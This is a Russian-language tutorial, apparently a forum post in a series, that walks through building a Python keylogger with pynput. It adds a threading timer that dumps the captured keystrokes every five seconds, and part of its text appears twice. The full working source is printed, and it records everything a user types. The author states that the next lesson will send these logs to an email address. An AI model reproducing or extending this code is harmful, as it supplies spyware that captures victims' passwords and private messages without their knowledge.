Всем привет! Продолжение написания кейлоггера, погнали!
Сейчас у нас на руках рабочий кейлоггер, результат которого легко и понятно читать, но кое-чего не хватает! Сейчас я хочу сделать функцию отправки результата на почту. Функцию отправки логов на почту мы с вами уже реализовали в моей статье о написании , поэтому сейчас нас интересует другая проблема - даже если внимательно присмотреться в код, мы не обнаружим такого места, где можно было бы написать эту функцию.
И для решения этой проблемы мы воспользуемся многопоточностью или библиотекой threading. Другими словами мы будем просто разделять ход нашей программы на несколько потоков - основная программа и таймер, по истечению которого будет срабатывать функция sendmail.
Для начала импортируем нашу библиотеку в код:
Далее создаём функцию report:
И запускаем нашу функцию report:
Наша рекурсивная функция почти готова, доработаем её в следующих уроках, а сейчас тесты:
P.S. Не забудьте удалить принт с функции process_key_press
Теперь каждый раз наша переменная log очищается и записывается по новому. Далее мы сделаем отправку лога на почту уже в таком виде и добавим немного ООП магии в наш код, всем удачи!
Код целиком:
Сейчас у нас на руках рабочий кейлоггер, результат которого легко и понятно читать, но кое-чего не хватает! Сейчас я хочу сделать функцию отправки результата на почту. Функцию отправки логов на почту мы с вами уже реализовали в моей статье о написании , поэтому сейчас нас интересует другая проблема - даже если внимательно присмотреться в код, мы не обнаружим такого места, где можно было бы написать эту функцию.
Python:
import pynput.keyboard
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except:
if key == key.space:
log = log + ' '
else:
log = log + " " + str(key) + " "
print(log)
keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
keyboard_listener.join()
И для решения этой проблемы мы воспользуемся многопоточностью или библиотекой threading. Другими словами мы будем просто разделять ход нашей программы на несколько потоков - основная программа и таймер, по истечению которого будет срабатывать функция sendmail.
Для начала импортируем нашу библиотеку в код:
Python:
import threading
Далее создаём функцию report:
Python:
def report():
global log #объявляем глобальную переменную log
print(log) #выводим содержимое
log = ' ' #очищаем переменную
timer = threading.Timer(5, report) #создаём таймер с интервалом в 5 секунд, а затем, по истечению времени он вызовит функцию которую мы укажем(report)
timer.start() #запускаем наш таймер
И запускаем нашу функцию report:
Python:
with keyboard_listener:
report()
keyboard_listener.join()
Наша рекурсивная функция почти готова, доработаем её в следующих уроках, а сейчас тесты:
P.S. Не забудьте удалить принт с функции process_key_press
Теперь каждый раз наша переменная log очищается и записывается по новому. Далее мы сделаем отправку лога на почту уже в таком виде и добавим немного ООП магии в наш код, всем удачи!
Код целиком:
Python:
import pynput.keyboard
import threading
log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except:
if key == key.space:
log = log + ' '
else:
log = log + " " + str(key) + " "
def report():
global log
print(log)
log = ' '
timer = threading.Timer(5, report)
timer.start()
keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
report()
keyboard_listener.join()